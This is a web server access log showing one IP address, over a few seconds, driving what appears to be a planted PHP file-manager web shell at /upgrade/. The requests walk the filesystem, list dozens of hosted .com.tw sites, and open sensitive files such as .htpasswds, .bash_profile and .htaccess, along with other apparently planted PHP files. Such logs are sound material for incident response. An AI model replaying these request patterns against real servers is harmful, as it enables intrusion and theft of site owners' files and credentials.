45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality HTTP/1.1" 200 6126 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin HTTP/1.1" 200 6471 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.lastlogin&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8110 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.lastlogin&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7873 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2F HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp HTTP/1.1" 200 6263 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html HTTP/1.1" 200 7643 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fwww HTTP/1.1" 200 7641 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fwww" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp HTTP/1.1" 200 6868 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Ftmp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_profile&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8025 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_profile&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds HTTP/1.1" 200 6165 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.htpasswds" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7877 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=dir HTTP/1.1" 200 7891 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc HTTP/1.1" 200 7100 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fetc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Flogs HTTP/1.1" 200 11571 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Flogs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail HTTP/1.1" 200 8471 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fmail" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw HTTP/1.1" 200 8279 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbesth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw HTTP/1.1" 200 8428 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw HTTP/1.1" 200 8280 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw HTTP/1.1" 200 8342 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw HTTP/1.1" 200 8340 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade HTTP/1.1" 200 6464 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW HTTP/1.1" 200 7878 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw HTTP/1.1" 200 8363 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw HTTP/1.1" 200 8244 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw HTTP/1.1" 200 8333 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw HTTP/1.1" 200 8374 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbooking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 7637 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw HTTP/1.1" 200 8317 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbroadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin HTTP/1.1" 200 6190 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=file HTTP/1.1" 200 7610 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=folder HTTP/1.1" 200 7657 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=dir HTTP/1.1" 200 7655 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw HTTP/1.1" 200 8301 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw HTTP/1.1" 200 8054 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw HTTP/1.1" 200 8327 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:16 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 20212 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw HTTP/1.1" 200 8310 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbeauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content HTTP/1.1" 200 5985 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 7838 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw HTTP/1.1" 200 8297 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw HTTP/1.1" 200 8397 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 7994 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 51985 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2F HTTP/1.1" 200 7843 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 7623 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2F HTTP/1.1" 200 5782 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6479 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:17 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7921 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2F HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/?location=%2Fhome%2F&option=folder HTTP/1.1" 200 5728 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/?location=%2F HTTP/1.1" 200 7752 "http://163.245.207.76:443/upgrade/?location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 7597 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 28410 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 46558 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/public/index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/upgrade/public/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2F HTTP/1.1" 200 7810 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7895 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder HTTP/1.1" 200 6450 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:18 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 33511 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 31040 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 47290 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:19 -0400] "GET /upgrade/img/index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/upgrade/img/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
